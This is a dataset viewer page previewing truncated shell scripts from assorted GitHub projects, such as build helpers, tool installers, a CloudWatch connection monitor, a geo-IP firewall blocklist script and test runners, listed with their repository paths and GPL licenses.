DIRECTORY="$(cd "${1%/*}" && pwd)"
FILENAME="${1##*/}"
echo "$DIRECTORY/$FILENAME"
}
install_reso... | dhasenfratz/hRouting_iOS | hRoutingApp/Pods/Target Support Files/Pods/Pods-resources.sh | Shell | gpl-3.0 | 5,043 |
#!/usr/bin/env bash
readonly SPIGOT_VER=1.11.2
readonly SPIGOT_FILENAME=spigot-$SPIGOT_VER.jar
readonly PLUMBER_FILENAME=startPlumber.R
readonly SHINY_FILENAME=startShiny.R
readonly SPIGOT_DIR=spigot
readonly SPIGOT_SCREEN_NAME=metabocraftSpigot
readonly PLUMBER_SCREEN_NAME=metabocraftPlumber
readonly SHINY_SCREEN_NAM... | argymeg/MetaboCraft | start.sh | Shell | gpl-3.0 | 1,825 |
#!/usr/bin/env bash
set -xe
apt-get -y update
# install vagrant
wget https://releases.hashicorp.com/vagrant/1.9.6/vagrant_1.9.6_x86_64.deb -O vagrant.deb
dpkg -i vagrant.deb
apt-get -f -y install
# install vbox
wget http://download.virtualbox.org/virtualbox/5.1.22/virtualbox-5.1_5.1.22-115126~Debian~jessie_amd64.deb... | SmartInfrastructures/enos | tests/functionnal/tests/vagrant_deps.sh | Shell | gpl-3.0 | 631 |
#!/bin/bash
#
# Web Service connection states
#
# By Reynaldo R. Martinez P.
# TigerLinux@Gmail.com
#
# This script, that you should run inside a crontab every 5 minutes, will
# obtain the actual connections in the following states for normal web tcp
# ports:
# - established
# - time-wait
# - fin-wait-1
# - fin-wait-2
... | tigerlinux/tigerlinux-extra-recipes | recipes/monitoring/web-service-connection-states-to-cloudwatch/scripts/http-https-cons-to-aws.sh | Shell | gpl-3.0 | 3,238 |
#!/bin/bash
echo "building..."
export GOPATH=$GOPATH:$(pwd)
CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o smscode .
echo "build Success!!!" | xluohome/smscode | build.sh | Shell | gpl-3.0 | 156 |
inDir=$1; shift
outDir=$1; shift
gpsBabel="gpsbabel" # change this to a full path to the gpsbabel binary if not in $PATH
#-----notes
# info below posted by user Fletnix on Garmin forum:
# https://forums.garmin.com/forum/into-sports/running/forerunner-920xt-aa/80255-saved-file-name
#
# The Garmin Forerunner 220 and 62... | gitMarcH/routeHeat | garminFR935_convert2Gpx.sh | Shell | gpl-3.0 | 4,428 |
#!/bin/bash
LAMBDA=${1:-0}
GENERATORS=0.999
SELECTORS=0.9999
NDETMAX=524288
source common.sh
function iteration ()
{
cat << EOF | sbatch -J $1.mrcc $SBATCH_ARGS $WAIT
#!/bin/bash
source common.sh
run_mrcc $1 $LAMBDA $GENERATORS $SELECTORS $NDETMAX
grep_MRCC_energy $1
EOF
}
# Execution
rm -f data_MRCC
distanc... | scemama/Bench_MRCC | bin/run_mrcc.sh | Shell | gpl-3.0 | 330 |
#!/bin/bash
export PATH=$PATH:/usr/local/cuda/bin/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib64/
export CULA_ROOT="/cluster/home/svoron01/apps/cula/"
#export CULA_ROOT="/opt/shared/cula/dense-r15/"
export CULA_INC_PATH="$CULA_ROOT/include"
export CULA_LIB_PATH_32="$CULA_ROOT/lib"
export CULA_LIB_PATH... | sergeyvoronin/LowRankSVDCodes | nvidia_gpu_cula_code/setup_paths.sh | Shell | gpl-3.0 | 502 |
#!/bin/bash
#
# Author: https://github.com/julskinka
# https://opensource.org/licenses/GPL-3.0
#
# Create blocklists with ipset and firewalld
#
# https://dev.maxmind.com/geoip/geoip2/geolite2/
#
# https://en.wikipedia.org/wiki/List_of_sovereign_states_and_dependent_territories_by_continent_(data_file)
if [[ $(id -u) !... | julskinka/blockit | maxmind/maxmind_add.sh | Shell | gpl-3.0 | 5,677 |
#!/bin/bash -f
# Vivado (TM) v2016.4 (64-bit)
#
# Filename : title1.sh
# Simulator : Mentor Graphics Questa Advanced Simulator
# Description : Simulation script for compiling, elaborating and verifying the project source files.
# The script will automatically create the design libraries sub-directori... | hsnuonly/PikachuVolleyFPGA | VGA.ip_user_files/sim_scripts/title1_1/questa/title1.sh | Shell | gpl-3.0 | 4,599 |
#!/bin/sh
7z x Bosphorus_1920x1080_120fps_420_8bit_YUV_RAW.7z -aoa
rm -f Bosphorus_Copyright.txt
7z x Bosphorus_3840x2160_120fps_420_8bit_YUV_Y4M.7z -aoa
unzip -o SVT-AV1-v0.9.0-win64.zip
chmod +x Bin/Release/SvtAv1EncApp.exe
echo "#!/bin/sh
./Bin/Release/SvtAv1EncApp.exe \$@ > \$LOG_FILE 2>&1" > svt-av1
chmod +x ... | phoronix-test-suite/phoronix-test-suite | ob-cache/test-profiles/pts/svt-av1-2.4.0/install_windows.sh | Shell | gpl-3.0 | 328 |
# Ejecución del programa de tests
elixir --name maestro@127.0.0.1 --cookie 'palabrasecreta' \
--erl '-kernel inet_dist_listen_min 32000' \
--erl '-kernel inet_dist_listen_max 32009' \
servicio_vistas_tests.exs
# Una vez terminada ejecución programa tests,
# eliminar demonio de conexiones red Erlang
pkill epmd
| DrKeops/primario-backup | validar_servicio_vistas.sh | Shell | gpl-3.0 | 320 |
#!/bin/bash
for i in int double ; do
sed -e "s|@@TYPE@@|${i}|g" jkmarray_source.c >jkmarray_${i}.c
indent jkmarray_${i}.c
sed -e "s|@@TYPE@@|${i}|g" jkmarray_source.h >jkmarray_${i}.h
indent jkmarray_${i}.h
sed -e "s|@@TYPE@@|${i}|g" jmarray_source.c >jmarray_${i}.c
indent jmarray_${i}.c
s... | jonathanunderwood/limapack | src/jkmarraygen.sh | Shell | gpl-3.0 | 410 |
#!/bin/bash
while true
do
apt-get -y install sonata
clear scr
echo "sonata is successfully installed"
done | Priority-Cliqk/Priority-Cliqk | Sonata.sh | Shell | gpl-3.0 | 107 |
####################################################################################
#
# "THE BEER-WARE LICENSE" (Revision 42):
# <nicolas.appriou@gmail.com> wrote this file. As long as you retain this notice you
# can do whatever you want with this stuff. If we meet some day, and you think
# this stuff is worth it, ... | Nicals/wakemeup | alarm.sh | Shell | gpl-3.0 | 4,089 |
SUPERPROJECT_PWD="$(pwd)"
BUILD_DIR="$SUPERPROJECT_PWD/lib/build"
echo "Updating FFmpeg library submodules..."
cd $SUPERPROJECT_PWD/lib/FFmpeg
git submodule update --init
echo "Updating QtAV submodules..."
cd $SUPERPROJECT_PWD/lib/QtAV
git submodule update --init
echo "Building FFmpeg library..."
cd $SUPERPROJECT_PW... | ScreenZoneProjects/ScreenFlow | tools/build_lib.sh | Shell | gpl-3.0 | 925 |
#!/bin/bash
/opt/rh/rh-mongodb32/root/usr/bin/mongo hogajamadb --eval "load('/tmp/testdata/insert.js')"
/opt/rh/rh-mongodb32/root/usr/bin/mongoimport -u "hogajama" -p "hogajama@mongodb" -d hogajamadb -c habarama --type json /tmp/testdata/hogarama-testdata.json
| Gepardec/Hogarama | OpenShift3/Templates/testdata/insert-data.sh | Shell | gpl-3.0 | 262 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.